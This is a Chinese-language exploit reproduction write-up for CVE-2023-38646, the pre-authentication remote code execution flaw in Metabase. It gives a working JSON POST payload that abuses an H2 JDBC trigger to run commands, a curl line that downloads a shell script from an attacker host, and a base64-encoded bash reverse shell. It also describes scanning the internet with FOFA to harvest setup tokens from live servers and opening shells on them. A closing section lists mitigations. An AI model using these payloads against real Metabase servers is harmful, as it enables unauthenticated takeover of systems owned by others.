0x01 簡介

Metabase是一個開源的數據分析和可視化工具,它可以幫助用戶輕松地連接到各種數據源,包括數據庫、云服務和API,然后使用直觀的界面進行數據查詢、分析和可視化。

0x02 漏洞概述

漏洞編號:CVE-2023-38646

Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一個漏洞,允許攻擊者在服務器的權限級別上執行任意命令,利用時不需要身份驗證。

該漏洞是由預身份驗證 API 端點/api/setup/validate中的 JDBC 連接問題引起的。通過向該端點發出請求,我們成功實現了遠程代碼執行(RCE)。

0x03 影響版本

  • Metabase open source 0.46 < 0.46.6.1
  • Metabase Enterprise 1.46 < 1.46.6.1
  • Metabase open source 0.45 < v0.45.4.1
  • Metabase Enterprise 1.45 < 1.45.4.1
  • Metabase open source 0.44 < 0.44.7.1
  • Metabase Enterprise 1.44 < 1.44.7.1
  • Metabase open source 0.43 < 0.43.7.2
  • Metabase Enterprise 1.43 < 1.43.7.2

0x04 環境搭建

本地搭建

sudo docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6

0x05 漏洞復現

本地環境

通過訪問IP:3000/api/session/properties獲取setup-token。截圖如下:

獲取到setup-token后構建poc執行反彈shell

由于靶機環境無法直接反彈shell,所以先構造一個反彈shell腳本,讓靶機獲取該腳本并執行,從而成功反彈

具體步驟如下:

訪問/api/setup/validate,并構造payload獲取攻擊服務器的2.sh文件,實際執行命令為:

curl http://192.168.222.184:8000/2.sh -o /tmp/2.sh

具體poc如下:

POST /api/setup/validate HTTP/1.1
Host: IP
Content-Type: application/json
{
 "token": "token值",
 "details": {
  "is_on_demand": false,
  "is_full_sync": false,
  "is_sample": false,
  "cache_ttl": null,
  "refingerprint": false,
  "auto_run_queries": true,
  "schedules": {},
  "details": {
   "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(具體執行的命令)\n$$--=x",
   "advanced-options": false,
   "ssl": true
  },
  "name": "test",
  "engine": "h2"
 }
}

成功獲取到2.sh文件,并置于/tmp/2.sh

2.sh文件詳情如下:

攻擊機監聽6666端口,并發送post包,執行2.sh,具體執行命令為bash /tmp/2.sh:

成功反彈shell:

在線環境

通過fofa搜索資產,訪問api/session/properties批量獲取對應的setup-token和版本信息,如下圖:

該機器可以直接反彈shell,所以直接構造shell

具體執行命令為:

bash -c {echo,YmFzaixxxYx}|{base64,-d}|{bash,-i}

其中YmFzaixxxYx是將shell進行64位編碼的值。具體執行情況如下圖:

開啟監聽

成功反彈shell

0x06 修復方式

臨時緩解方案:

通過網絡ACL策略限制訪問來源,例如只允許來自特定IP地址或地址段的訪問請求或者阻止對 /api/setup 終結點的請求。

升級修復方案:

官方已經推出了新的修復版本。建議所有受影響的用戶盡快訪問官方網站,更新至相應的安全版本。

對于使用 Docker 版本的用戶,只需拉取最新版本的鏡像進行更新。然而在開始升級前,務必確保已經對數據進行了備份。

需要注意的是不論使用什么修復版本,都需要確保應用完成安裝過程可正常登錄使用才可修復漏洞。同時作為安全建議,應該及時下線一些不使用的服務。

參考鏈接

  • https://github.com/shamo0/CVE-2023-38646-PoC
  • https://www.metabase.com/blog/security-advisory
  • https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
  • https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/